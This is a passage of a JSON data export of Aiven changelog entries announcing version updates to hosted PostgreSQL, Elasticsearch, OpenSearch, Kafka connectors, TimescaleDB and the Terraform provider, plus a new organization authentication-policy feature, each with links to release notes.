change."}],"markDefs":[{"_key":"m2689577835340","_type":"link","href":"https://aiven.io/blog/larger-and-faster-aiven-postgresql-plans"}],"style":"normal"}],"publishedAt":"2017-11-09T00:00:00.000Z","tags":[{"_key":"6925a38d-e4a0-48b2-801f-8eb5d3aad9dc","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"304e821f-fdee-4213-97ed-acb7e61ce56c","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"hostProvider"}],"title":"Added support for using local PCIe NVMe SSDs on Amazon Web Services (AWS.) This results in much higher IO performance in your Aiven for PostgreSQL service running on top of AWS"} {"_createdAt":"2022-10-27T09:07:53Z","_i18n_lang":"en","_id":"6c2585d6-4dd0-40f3-9d66-61eca670d485","_rev":"WYf15BwQWb3V4yHfbxOzIp","_type":"changelog","_updatedAt":"2022-10-27T09:07:53Z","changeType":"","description":[{"_key":"395432c0-29b1-4278-827e-0226cef8b0c1","_type":"block","children":[{"_key":"a7535019-6d93-463b-aafe-b7603922d92f","_type":"span","marks":[],"text":"Please see the "},{"_key":"0161dfb5-69e1-4dc7-8a22-ef6906863f6f","_type":"span","marks":["m9064332435932"],"text":"Release Notes"},{"_key":"9a7f6390-d85f-4194-98c8-8db8043df88d","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m9064332435932","_type":"link","href":"https://github.com/Landoop/stream-reactor/releases/tag/1.2.2"}],"style":"normal"}],"publishedAt":"2019-10-02T00:00:00.000Z","tags":[{"_key":"8c55427d-6d91-45c7-8862-c8c691efc293","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect Stream Reactor 1.2.2 now available"} {"_createdAt":"2022-10-27T09:08:36Z","_i18n_lang":"en","_id":"6ce5360d-6aaf-4869-b9a4-d0b63942fc3f","_rev":"Dn65xz5Z1k22g7BhlztL0I","_type":"changelog","_updatedAt":"2022-10-27T09:08:36Z","changeType":"","description":[{"_key":"16d50e56-5354-443d-85c2-28315f06b1d7","_type":"block","children":[{"_key":"5b697f76-5133-4136-ad99-8881637a77c3","_type":"span","marks":[],"text":"All new Elasticsearch services will be using this version and older customers will be upgraded to it over time. To see what's new see the release notes for "},{"_key":"024234c0-b9e6-4f58-ac1e-1ca1b5346f88","_type":"span","marks":["m7113753885045"],"text":"Elasticsearch 6.7.1"},{"_key":"32f4d8e5-b190-4d9f-b248-e5d7a14446f4","_type":"span","marks":[],"text":" and "},{"_key":"fb07f41a-1e0b-4d0b-84f3-f2b4a733c11d","_type":"span","marks":["m14234417142836"],"text":"Kibana"},{"_key":"302b0d2f-a25b-477a-8126-0218759a232b","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m7113753885045","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-6.7.1.html"},{"_key":"m14234417142836","_type":"link","href":"https://www.elastic.co/guide/en/kibana/current/release-notes-6.7.1.html"}],"style":"normal"}],"publishedAt":"2019-04-29T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch version 6.7.1 is now available"} {"_createdAt":"2022-10-27T09:06:01Z","_i18n_lang":"en","_id":"6d43b7b1-2c34-44ca-b033-14367e3609ff","_rev":"chYcdg0OBeHzQFNhare5KE","_type":"changelog","_updatedAt":"2022-10-27T09:06:01Z","changeType":"","description":[{"_key":"a7bbe1cd-bb91-4c02-8adb-a5491a9ea31e","_type":"block","children":[{"_key":"6a1df333-7aea-417d-8a1c-00531d709ebf","_type":"span","marks":[],"text":"To see what's new see the release notes for "},{"_key":"7ce8a5f1-6550-4ad7-b058-8158e07a7090","_type":"span","marks":["m12835683276243"],"text":"Elasticsearch 7.9.1"},{"_key":"8a4b80ad-4356-450b-99f5-08faf1fd72a3","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m12835683276243","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/7.9/release-notes-7.9.1.html"}],"style":"normal"}],"publishedAt":"2020-09-17T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch new minor version 7.9.1 is now available"} {"_createdAt":"2022-10-27T09:04:19Z","_i18n_lang":"en","_id":"6d771ce7-a7a8-4e26-bc93-e79003a916fc","_rev":"P6Du4FUPx13pONAPQIGW31","_type":"changelog","_updatedAt":"2022-10-27T09:04:19Z","changeType":"","description":[{"_key":"f4f6c9fb-465c-4f26-9c76-dbfcb96273d3","_type":"block","children":[{"_key":"a69ca90c-81ae-46a0-954d-5b4940734bf2","_type":"span","marks":[],"text":"Please see "},{"_key":"ed65ef0c-7c01-4299-a04a-e1f414601e3b","_type":"span","marks":["m9299101158769"],"text":"the documentation"},{"_key":"b17ef55d-84b8-4482-baab-adba181f0566","_type":"span","marks":[],"text":" and "},{"_key":"695a1c3c-5da7-4357-9957-5cf46f8a8f76","_type":"span","marks":["m9400347597981"],"text":"release notes"}],"markDefs":[{"_key":"m9299101158769","_type":"link","href":"https://docs.lenses.io/4.1/integrations/connectors/stream-reactor/"},{"_key":"m9400347597981","_type":"link","href":"https://github.com/lensesio/stream-reactor#release-notes"}],"style":"normal"}],"publishedAt":"2021-05-15T00:00:00.000Z","tags":[{"_key":"91191f74-402a-4b24-8706-a252867032e5","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Stream Reactor Kafka connectors have been updated to version 2.1.3"} {"_createdAt":"2022-10-27T09:09:48Z","_i18n_lang":"en","_id":"6d932ab9-ab3c-4395-b0b5-f956b7a1a2be","_rev":"GNtcCQgxf3P3DqpLt1k6UP","_type":"changelog","_updatedAt":"2022-10-27T09:09:48Z","changeType":"","description":[{"_key":"4ebb1b41-7445-48d9-aefc-d6e4de5acfc5","_type":"block","children":[{"_key":"86fe1312-b06e-4329-8853-56007d9d2ddf","_type":"span","marks":[],"text":"All Aiven services are now available in this region."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-08-29T00:00:00.000Z","tags":[{"_key":"61ad0b57-2469-4fc7-9eac-b1e8126dfd58","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"hostProvider"}],"title":"Added support UpCloud San Jose region"} {"_createdAt":"2022-10-27T09:05:59Z","_i18n_lang":"en","_id":"6e68887f-2a03-4d38-a045-0314cdc8c3fe","_rev":"C4pC7IakZ1PpJ4LWR2B4ap","_type":"changelog","_updatedAt":"2022-10-27T09:05:59Z","changeType":"","description":[{"_key":"5633ed53-c56c-4f81-9f88-744b82230636","_type":"block","children":[{"_key":"83ff1637-63e4-4ce8-b47a-e196c3f48e40","_type":"span","marks":[],"text":"All new services will be using this version and existing services have an optional maintenance update that can be applied to update. To see what's new see the "},{"_key":"9cda2087-6202-4b99-8a6d-f226a9f271bf","_type":"span","marks":["m7427258684717"],"text":"Datadog Agent release notes"},{"_key":"1ecc1760-d0b9-464a-a53c-5ceec30ddf31","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m7427258684717","_type":"link","href":"https://github.com/DataDog/datadog-agent/blob/master/CHANGELOG.rst"}],"style":"normal"}],"publishedAt":"2020-09-22T00:00:00.000Z","tags":[{"_key":"3d153674-5acd-4407-be6a-48d358cfe5fa","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"f3a239b4-346a-48ea-b9f5-7cff23989847","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"417ab8d4-307f-4330-bbb8-9d5f5deae19b","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Datadog Agent version 6.22.0 is now available"} {"_createdAt":"2022-10-27T09:02:52Z","_i18n_lang":"en","_id":"6eb74e67-c5a6-4959-9b52-2204c86f94a4","_rev":"uVO3nVvSuHH0nc1h0MTU2q","_type":"changelog","_updatedAt":"2022-10-27T09:02:52Z","changeType":"","publishedAt":"2022-03-04T00:00:00.000Z","tags":[{"_key":"cf9a6a18-95f8-46c4-91fb-e164c7682479","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace update with support for Protobuf schemas"} {"_createdAt":"2022-10-27T09:05:41Z","_i18n_lang":"en","_id":"6f396102-a5d1-46ad-bc89-fcadc17835b0","_rev":"WYf15BwQWb3V4yHfbxOWg7","_type":"changelog","_updatedAt":"2022-10-27T09:05:41Z","changeType":"","description":[{"_key":"98b43d20-6196-42b4-9a04-9f7f0cc05659","_type":"block","children":[{"_key":"79070e01-6002-497f-bdd3-3cf330bf8f94","_type":"span","marks":[],"text":"See "},{"_key":"3d2a913a-ed7b-49f5-8b92-034ba58fe87d","_type":"span","marks":["m2288653232364"],"text":"release notes"},{"_key":"cf286fdf-19d9-4663-97ed-7da95de0d679","_type":"span","marks":[],"text":" for more details about the PostgreSQL minor releases."}],"markDefs":[{"_key":"m2288653232364","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2020-11-12T00:00:00.000Z","tags":[{"_key":"84d3d1f7-1447-4ec7-afa8-40b2d0c2a794","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 12.5, 11.10, 10.15, 9.6.20 and 9.5.24"} {"_createdAt":"2022-10-27T09:10:36Z","_i18n_lang":"en","_id":"6f64fbb5-b906-4842-b45f-5650263fc4e2","_rev":"HEiYk6nGjmUICadcDbTcrH","_type":"changelog","_updatedAt":"2022-10-27T09:10:36Z","changeType":"","description":[{"_key":"ebf6a9e8-4203-4b37-b1b5-aabf40b65f28","_type":"block","children":[{"_key":"c119071f-0e48-427e-87ef-ff662b7eb0c9","_type":"span","marks":[],"text":"GCP now has plans with up to 360 gigabytes of RAM and 96 CPUs, AWS now has plans with up to 480 gigabytes of RAM and 64 CPUs."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-02-23T00:00:00.000Z","tags":[{"_key":"58d8f2b7-2761-4fd9-a608-b33d3068b96b","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"0969b3a1-9474-46f7-8ee0-d6462ddad4e9","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"hostProvider"},{"_key":"5b067755-eff1-415f-9615-80de8b8368ec","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Introduce new, larger, PostgreSQL plans for Google Cloud and Amazon Web Services"} {"__i18n_lang":"en","_createdAt":"2023-09-20T10:42:20Z","_id":"6f6ae304-1849-4131-be79-e4af5db8f495","_rev":"OlHhyDbudqKag6cjy0yJ1C","_type":"changelog","_updatedAt":"2023-09-20T10:42:20Z","description":[{"_key":"f9b4b002baa3","_type":"block","children":[{"_key":"be3443f32af30","_type":"span","marks":[],"text":"Version 4.9.0 supports the "},{"_key":"be3443f32af31","_type":"span","marks":["320917a4350e"],"text":"OpenSearch security plugin"},{"_key":"be3443f32af32","_type":"span","marks":[],"text":" with the "},{"_key":"d70e509a146d","_type":"span","marks":["code"],"text":"aiven_opensearch_security_plugin_config"},{"_key":"7eaffc4fe45c","_type":"span","marks":[],"text":" resource. For more information and example usage, check out the "},{"_key":"be3443f32af33","_type":"span","marks":["478747c65a43"],"text":"documentation"},{"_key":"be3443f32af34","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"320917a4350e","_type":"link","href":"https://opensearch.org/docs/latest/security/index/"},{"_key":"478747c65a43","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/opensearch_security_plugin_config"}],"style":"normal"},{"_key":"75ba4ae0636b","_type":"block","children":[{"_key":"b386b07d659e0","_type":"span","marks":[],"text":"The following fields in the "},{"_key":"4f8f97bb5944","_type":"span","marks":["code"],"text":"aiven_project"},{"_key":"451996bb36ed","_type":"span","marks":[],"text":" resource have been deprecated in this release:"}],"markDefs":[],"style":"normal"},{"_key":"977a54ac5f78","_type":"block","children":[{"_key":"c47f6d562ac90","_type":"span","marks":["code"],"text":"add_account_owners_admin_access"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e921a285b090","_type":"block","children":[{"_key":"c5b914363cbb","_type":"span","marks":["code"],"text":"use_source_project_billing_group"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3596743de284","_type":"block","children":[{"_key":"8985d3adac2d0","_type":"span","marks":[],"text":"This release also includes several fixes. For details, view the "},{"_key":"8985d3adac2d1","_type":"span","marks":["eb89ff14975d"],"text":"changelog"},{"_key":"8985d3adac2d2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"eb89ff14975d","_type":"link","href":"https://github.com/aiven/terraform-provider-aiven/blob/main/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2023-09-19T10:40:00.000Z","tags":[{"_key":"47134e5328ae","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"OpenSearch security plugin now supported in Aiven Provider for Terraform"} {"_createdAt":"2022-10-27T09:04:48Z","_i18n_lang":"en","_id":"6f9800c2-491a-4b48-85fa-e8d25023975e","_rev":"HEiYk6nGjmUICadcDbSjkH","_type":"changelog","_updatedAt":"2022-10-27T09:04:48Z","changeType":"","description":[{"_key":"1d7b3bb1-953f-416c-a13d-abe483b4860e","_type":"block","children":[{"_key":"289fea84-8bb2-4785-9c4d-efb2c13e1967","_type":"span","marks":[],"text":"Please refer to our "},{"_key":"669011f5-ad32-4b3b-9ef0-7bfc4e15f4e5","_type":"span","marks":["m7007873030404"],"text":"help article"},{"_key":"44f1b8e4-9d3a-41ea-b78a-c53f2545f92a","_type":"span","marks":[],"text":" to see how it is done."}],"markDefs":[{"_key":"m7007873030404","_type":"link","href":"https://help.aiven.io/en/articles/5040495-cross-project-fork"}],"style":"normal"}],"publishedAt":"2021-03-19T00:00:00.000Z","tags":[],"title":"Cross project fork enables creation of service from one project to another"} {"__i18n_lang":"en","_createdAt":"2023-09-27T13:19:03Z","_id":"7095ec68-9abd-4c26-942f-0ce421fb91d6","_rev":"rpwBSMa1i11HwZnbWsvgAl","_type":"changelog","_updatedAt":"2023-09-27T13:19:03Z","changeType":"improved","description":[{"_key":"6bc93dc3cb59","_type":"block","children":[{"_key":"c6767de31fe70","_type":"span","marks":[],"text":"TimescaleDB extension version 2.11.2 is now available for Aiven for PostgreSQL®. It introduces new features and bug fixes on top of release 2.11.1."}],"markDefs":[],"style":"normal"},{"_key":"b467b017de43","_type":"block","children":[{"_key":"dd8cc71283910","_type":"span","marks":["strong"],"text":"Key features"}],"markDefs":[],"style":"normal"},{"_key":"1d40675413c0","_type":"block","children":[{"_key":"d2b684baa0c20","_type":"span","marks":["84cc6a79f03a"],"text":"Feature flags for TimescaleDB features"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"84cc6a79f03a","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5923"}],"style":"normal"},{"_key":"b30742554423","_type":"block","children":[{"_key":"6d03d1f120870","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"a20fa7514d6c","_type":"block","children":[{"_key":"2ee92012d7ac0","_type":"span","marks":["66c9303eadad"],"text":"Fix DISTINCT query with JOIN on multiple segmentby columns"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"66c9303eadad","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5680"}],"style":"normal"},{"_key":"73d627c1e325","_type":"block","children":[{"_key":"d96184086cbb0","_type":"span","marks":["fb315c7436a3"],"text":"Fixed two bugs in decompression sorted merge code"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"fb315c7436a3","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5774"}],"style":"normal"},{"_key":"8c70279b72b3","_type":"block","children":[{"_key":"aa2eb93cfaf00","_type":"span","marks":["7717a43c4a50"],"text":"Ensure pg_config --cppflags are passed"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"7717a43c4a50","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5786"}],"style":"normal"},{"_key":"1c160d1efd59","_type":"block","children":[{"_key":"16e10bb32d6e0","_type":"span","marks":["3cd22a18c880"],"text":"Fix quoting owners in sql scripts"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3cd22a18c880","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5906"}],"style":"normal"},{"_key":"99853baddc9e","_type":"block","children":[{"_key":"dca45dffab8a0","_type":"span","marks":["67cd7ffc7e7f"],"text":"Fix crash in 1-step integer policy creation"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"67cd7ffc7e7f","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5912"}],"style":"normal"}],"publishedAt":"2023-09-11T13:16:00.000Z","tags":[{"_key":"827711c9bf53","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extension 2.11.2 for Aiven for PostgreSQL® released"} {"_createdAt":"2022-10-27T09:08:34Z","_i18n_lang":"en","_id":"70cb8dd5-94bf-4339-83ff-05f2c78d6cc9","_rev":"dTcxLudMA3V5vz7pZEQhhl","_type":"changelog","_updatedAt":"2022-10-27T09:08:34Z","changeType":"","publishedAt":"2019-05-06T00:00:00.000Z","tags":[{"_key":"5338aab8-bd63-4efb-b2b9-6a5ac1d62803","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Sink and Source Kafka Connect JDBC connectors by Aiven are available as part of Aiven for Apache Kafka Connect."} {"_createdAt":"2022-10-27T09:02:38Z","_i18n_lang":"en","_id":"71120da5-5807-4e31-84f6-2e6e07c94c69","_rev":"rHrbN7cdfRjM6CvZf3J51x","_type":"changelog","_updatedAt":"2022-10-27T09:02:38Z","changeType":"","description":[{"_key":"dddecacc-00ce-4f42-a909-49f5e0d278bb","_type":"block","children":[{"_key":"d08a6ac5-191a-44c5-bcc6-7551f06b1e11","_type":"span","marks":[],"text":"Projects that have one or more services with specific deprecated plans will still be able to create and use OpenSearch services with these plans in the same project."}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-05-18T00:00:00.000Z","tags":[{"_key":"2aeab45a-31d4-4e04-8407-a3f005b2496e","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"Deprecated Premium-5x/Premium-7x plans in favor of new Premium-6x/Premium-9x plans for OpenSearch"} {"_createdAt":"2022-10-27T09:07:41Z","_i18n_lang":"en","_id":"719362d7-dc2c-4490-8392-799159c1a637","_rev":"Dn65xz5Z1k22g7BhlztK9F","_type":"changelog","_updatedAt":"2022-10-27T09:07:41Z","changeType":"","description":[{"_key":"6d9cad91-eb38-4f2a-a071-8b897a0d3509","_type":"block","children":[{"_key":"6fb23bec-9935-4818-ac08-472249fcc3fe","_type":"span","marks":[],"text":"Notable change is that new entries are sent to /(index)/_bulk instead of /_bulk URL; this may affect ACLs although access to /(index) was required before too."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-10-23T00:00:00.000Z","tags":[],"title":"Aiven's Journalpump is upgraded to 2.1.3 version"} {"_createdAt":"2022-10-27T09:06:12Z","_i18n_lang":"en","_id":"71bfc066-e791-43fe-a188-8628a2299f91","_rev":"HEiYk6nGjmUICadcDbT6UW","_type":"changelog","_updatedAt":"2022-10-27T09:06:12Z","changeType":"","description":[{"_key":"ced20169-127a-436b-970a-b9956d3a039f","_type":"block","children":[{"_key":"399a59d9-86dc-4590-841b-1ed6121f3ee7","_type":"span","marks":[],"text":"See "},{"_key":"261ff883-1541-41e8-a3e8-3733aaafc0c2","_type":"span","marks":["m2288653232364"],"text":"release notes"},{"_key":"f7821ccc-22b0-4e82-970f-8920003cee0f","_type":"span","marks":[],"text":" for more details about the PostgreSQL minor releases."}],"markDefs":[{"_key":"m2288653232364","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2020-08-13T00:00:00.000Z","tags":[{"_key":"723e0410-2da5-4410-9c56-adc1641d5105","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 12.4, 11.9, 10.14, 9.6.19 and 9.5.23"} {"__i18n_lang":"en","_createdAt":"2023-07-13T15:00:46Z","_id":"71c8f1c8-49ea-40fe-aa58-6bcc8df682e1","_rev":"pDdzqLCfBQpAVehlfgTEo0","_type":"changelog","_updatedAt":"2023-07-13T15:02:11Z","changeType":"improved","description":[{"_key":"45ad4e6c12a5","_type":"block","children":[{"_key":"338b281f9f9c0","_type":"span","marks":[],"text":"This version of Confluent BigQuery Connector for Aiven Apache Kafka Connect brings several enhancements, fixes, and updates to the connector. It is compatible with previous versions and does not introduce any breaking changes."}],"markDefs":[],"style":"normal"},{"_key":"21cef7d981f1","_type":"block","children":[{"_key":"dd810cd780d70","_type":"span","marks":[],"text":"Key highlights:"}],"markDefs":[],"style":"normal"},{"_key":"b1c80eb0945a","_type":"block","children":[{"_key":"75755fc9be0f0","_type":"span","marks":[],"text":"You can now send DebeziumTimeStamp fields to BigQuery as they are without any conversion."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2cc6947a9013","_type":"block","children":[{"_key":"7fe8d56ebf230","_type":"span","marks":[],"text":"You can use the KIP-610 feature to route errant records to a Dead Letter Queue (DLQ) for later inspection and processing."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fefbce2dfece","_type":"block","children":[{"_key":"bf26ec505725","_type":"span","marks":[],"text":"Added a retry mechanism to handle concurrent serialization errors that may occur when merging data in upsert/delete mode."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ff939cf37be4","_type":"block","children":[{"_key":"5528f72e5b0a","_type":"span","marks":[],"text":"For a complete list of changes, see the "},{"_key":"34f2d968b2651","_type":"span","marks":["67730e1ad496"],"text":"Confluent changelog"},{"_key":"34f2d968b2652","_type":"span","marks":[],"text":". To upgrade to this version, apply the"},{"_key":"34f2d968b2653","_type":"span","marks":["c10c73835e7a"],"text":" service maintenance updates"},{"_key":"34f2d968b2654","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"67730e1ad496","_type":"link","href":"https://docs.confluent.io/kafka-connectors/bigquery/current/changelog.html#version-2-4-5"},{"_key":"c10c73835e7a","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/maintenance-window"}],"style":"normal"}],"publishedAt":"2023-07-13T15:00:06.905Z","tags":[{"_key":"5bba2ccd8294","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"service"}],"title":"Confluent BigQuery Connector upgraded to version 2.5.0"} {"_createdAt":"2022-10-27T09:05:50Z","_i18n_lang":"en","_id":"71d8c503-4706-43c2-801f-64a3e7e2fb40","_rev":"ncjVtEY290Sap8rHbFwetD","_type":"changelog","_updatedAt":"2022-10-27T09:05:50Z","changeType":"","description":[{"_key":"dfa0ea24-917a-401a-94a9-7be97a62ecdc","_type":"block","children":[{"_key":"17447641-28bd-43b4-8b60-c9435256d29b","_type":"span","marks":[],"text":"Please see the "},{"_key":"ffcaec18-df24-4036-8568-6364d1ae840c","_type":"span","marks":["m14310839868685"],"text":"release notes"},{"_key":"51d6cef9-996d-4876-8866-cfbd13aeb9f0","_type":"span","marks":[],"text":" and the "},{"_key":"2eebfa35-db63-4e77-82e5-e3ee56f69d4a","_type":"span","marks":["m17401383206284"],"text":"documentation"},{"_key":"04963c10-0446-44d3-a1a7-563d3bbf577c","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m14310839868685","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/releases/tag/v6.2.2"},{"_key":"m17401383206284","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/tree/v6.2.2"}],"style":"normal"}],"publishedAt":"2020-10-22T00:00:00.000Z","tags":[{"_key":"67203164-365c-4d19-ba53-cd429cf6c7de","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink and source JDBC connectors have been updated to version 6.2.2"} {"__i18n_lang":"en","_createdAt":"2023-12-08T13:59:50Z","_id":"72550876-2455-492d-bf2c-2b190c8e5f6b","_rev":"Nka2T75McG1QANe0ftEtno","_type":"changelog","_updatedAt":"2023-12-08T13:59:50Z","changeType":"new","description":[{"_key":"aeeac55ba9c0","_type":"block","children":[{"_key":"d0e7b91c03f50","_type":"span","marks":[],"text":"Our latest enhancement for organization users lets you set an authentication policy for your organization. These policies control how users can access your organization on the Aiven platform: with a password, third-party authentication, or organization single sign-on (SSO)."}],"markDefs":[],"style":"normal"},{"_key":"d5f6d2afc3d6","_type":"block","children":[{"_key":"944a82023efb0","_type":"span","marks":[],"text":"For an added layer of security, you can also enforce two-factor authentication for password logins."}],"markDefs":[],"style":"normal"},{"_key":"814a0e33855f","_type":"block","children":[{"_key":"a595b29d405e0","_type":"span","marks":[],"text":"Read more about the authentication types and learn how to set an authentication policy in the "},{"_key":"a595b29d405e1","_type":"span","marks":["6f051e82ef76"],"text":"documentation"},{"_key":"a595b29d405e2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"6f051e82ef76","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/set-authentication-policies"}],"style":"normal"}],"publishedAt":"2023-12-08T12:00:00.000Z","tags":[{"_key":"9489120f567f","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"Control access to Aiven organizations with authentication policies"} {"_createdAt":"2022-10-27T09:08:08Z","_i18n_lang":"en","_id":"725b14c3-3013-4061-9ca4-1adc47297183","_rev":"GNtcCQgxf3P3DqpLt1jmmD","_type":"changelog","_updatedAt":"2022-10-27T09:08:08Z","changeType":"","description":[{"_key":"6de3c6aa-2adb-4227-9594-8191a8f179ae","_type":"block","children":[{"_key":"4aa1f6f5-126d-4c82-963b-5654fbf67cf0","_type":"span","marks":[],"text":"See "},{"_key":"a3235dac-3fb7-47b7-92f6-fc27cd7153e5","_type":"span","marks":["m2288653232364"],"text":"release notes"},{"_key":"d3af6f26-d5bc-4cf7-91ec-3eb8ba04e264","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m2288653232364","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2019-08-08T00:00:00.000Z","tags":[{"_key":"c487c657-6c61-4762-89b3-a1833fe52be3","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 11.5, 10.10, 9.6.15 and 9.5.19"} {"_createdAt":"2022-10-27T09:02:25Z","_i18n_lang":"en","_id":"73402192-ff54-47fd-afcb-77a79b15c649","_rev":"avO8DZ6Ky9k3TDzRfU5aqj","_type":"changelog","_updatedAt":"2022-10-27T09:02:25Z","changeType":"","description":[{"_key":"f580bcf2-b419-42fe-8d01-54ea8f07ae1d","_type":"block","children":[{"_key":"5fd0dbe9-f5c2-46d1-9b16-7c41d6c37ddf","_type":"span","marks":[],"text":"This release fixes possible data corruption issues in PostgresSQL 14 for indexes created with the CONCURRENTLY option. See "},{"_key":"dc66541d-a9f9-4626-84ed-6114ed447175","_type":"span","marks":["m11633461531676"],"text":"release notes"},{"_key":"4a7cd77e-ed78-47d5-abc9-09632dfbe538","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m11633461531676","_type":"link","href":"https://www.postgresql.org/docs/release/14.4/"}],"style":"normal"}],"publishedAt":"2022-06-23T00:00:00.000Z","tags":[{"_key":"6def3616-42d5-4ec8-a1d1-5fcbbcba1e54","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to include version 14.4"} {"_createdAt":"2022-10-27T09:07:48Z","_i18n_lang":"en","_id":"7372c6c1-71ef-4809-a859-6fdbbd40bd07","_rev":"ncjVtEY290Sap8rHbFwhTB","_type":"changelog","_updatedAt":"2022-10-27T09:07:48Z","changeType":"","description":[{"_key":"61d1a0c0-686f-46d0-9a6b-e2234a975362","_type":"block","children":[{"_key":"5dc28688-5d7f-4a4e-a847-3a46958bfa5e","_type":"span","marks":[],"text":"Please see the "},{"_key":"ff72362e-a560-4383-8071-a4ad4f8f78cf","_type":"span","marks":["m17448303379788"],"text":"release notes"},{"_key":"285c3c11-cb7b-418d-815e-8b517cd70abc","_type":"span","marks":[],"text":" and the "},{"_key":"a66aea4b-33fd-4dfa-b5d4-752cf50bb397","_type":"span","marks":["m1776731392458"],"text":"documentation"},{"_key":"0c613151-de1d-478f-a442-adac78d4bbc9","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m17448303379788","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/releases/tag/v6.0.1"},{"_key":"m1776731392458","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc"}],"style":"normal"}],"publishedAt":"2019-10-15T00:00:00.000Z","tags":[{"_key":"c86514a6-2488-4484-80e9-ece0f8c08e1c","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven's Kafka Connect JDBC connector has been updated to version 6.0.1"} {"_createdAt":"2022-10-27T09:04:36Z","_i18n_lang":"en","_id":"7470b2bf-33a3-4b6c-be45-cf7798d3ac13","_rev":"jxjwnOsJAgDXPDj4qmcIDo","_type":"changelog","_updatedAt":"2022-10-27T09:04:36Z","changeType":"","description":[{"_key":"aa246a88-0430-4c67-8e8b-ad26c63df61c","_type":"block","children":[{"_key":"8dade10b-06f9-40ef-aba0-adecbfd69b37","_type":"span","marks":[],"text":"See "},{"_key":"5ab88988-92a7-4292-b4bf-a72b1b9593c0","_type":"span","marks":["m3475368010248"],"text":"Open Distro for 